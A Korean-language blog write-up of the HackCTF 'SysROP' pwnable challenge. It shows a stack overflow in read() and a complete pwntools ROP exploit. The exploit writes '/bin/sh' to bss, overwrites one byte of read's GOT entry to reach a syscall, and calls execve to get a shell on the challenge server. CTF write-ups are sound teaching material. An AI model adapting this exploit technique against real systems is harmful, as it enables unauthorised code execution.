메로나

[HackCTF] SysROP (350) write-up 본문

Wargame & CTF/Pwnable

[HackCTF] SysROP (350) write-up

m3r0n4 2020. 12. 24. 23:29

부제 - 와! syscall 아시는구나!

1. 보호기법 체크

➜  sysrop checksec sysrop
[*] '/root/pwn/HackCTF/sysrop/sysrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

까나리 파이 없고 NX 켜져있당

2. Hex-Ray

아니 헥스레이 키기전에 봐야할거 있음

아니 왜 이거밖에 없냐 해서 보니까 stripped 되어있음 쓸게 read랑 setvbuf 뿐임;;; 그래서 어카지 했는데

그 문제 이름에 보면 요상하게 힌트가 있음 문제 이름이 SysROP 니까 뭔가 syscall 을 떠올릴 수가 있음 ㅇㅇ...

rax를 제대로 맞춰주고 레지스터 각각 잘 맞춰주면 syscall을 이용해서 우리가 원하는 함수를 막 불러올 수가 있음 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  read(0, buf, 0x78uLL);
  return 0LL;
}

그 헥스레이로 까보면 위에서 예상은 했겠지만 머 크게 없음 걍 버퍼 초기화 해주고 read 함수로 머 받아오는데 오버플로우 터지는거 보임.

bss에다가 /bin/sh\x00 박아주고 rax를 59로 맞춰둔 후 syscall 불러서 인자에 알맞게 bss, 0, 0 넣어주면 될듯하다. syscall은 read 함수에 있는거 갖다썼다. 1바이트 변조시켜서 syscall 불렀음

3. Exploit

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3024)
#p = process('./sysrop')
e = ELF('./sysrop')
#libc = e.libc
libc = ELF('libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
bss = 0x0000000000601040 + 0x900
ppppr = 0x00000000004005ea
pppr = 0x00000000004005eb

payload = "A" * (0x10 + 8)
payload += p64(pppr)
payload += p64(8)
payload += p64(0)
payload += p64(bss)
payload += p64(read_plt)
payload += p64(0x00000000004005F2)

p.sendline(payload)
sleep(0.5)
p.send('/bin/sh\x00')
sleep(0.5)

payload = "A" * (0x10 + 8)
payload += p64(pppr)
payload += p64(1)
payload += p64(0)
payload += p64(read_got)
payload += p64(read_plt)
payload += p64(ppppr)
payload += p64(59)
payload += p64(0)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)

p.sendline(payload)
sleep(0.5)
p.send('\x5e')
p.interactive()

저거 0스테이지에 0x4005f2 저거는 메인함수임 그리고 bss에 머 있어서 바로 bss 주소에다가 박으면 안되고 조금 뒤에 /bin/sh\x00 넣어주면 됨 syscall table 보면서 인자 하나하나 끼워주면 잘돌아간다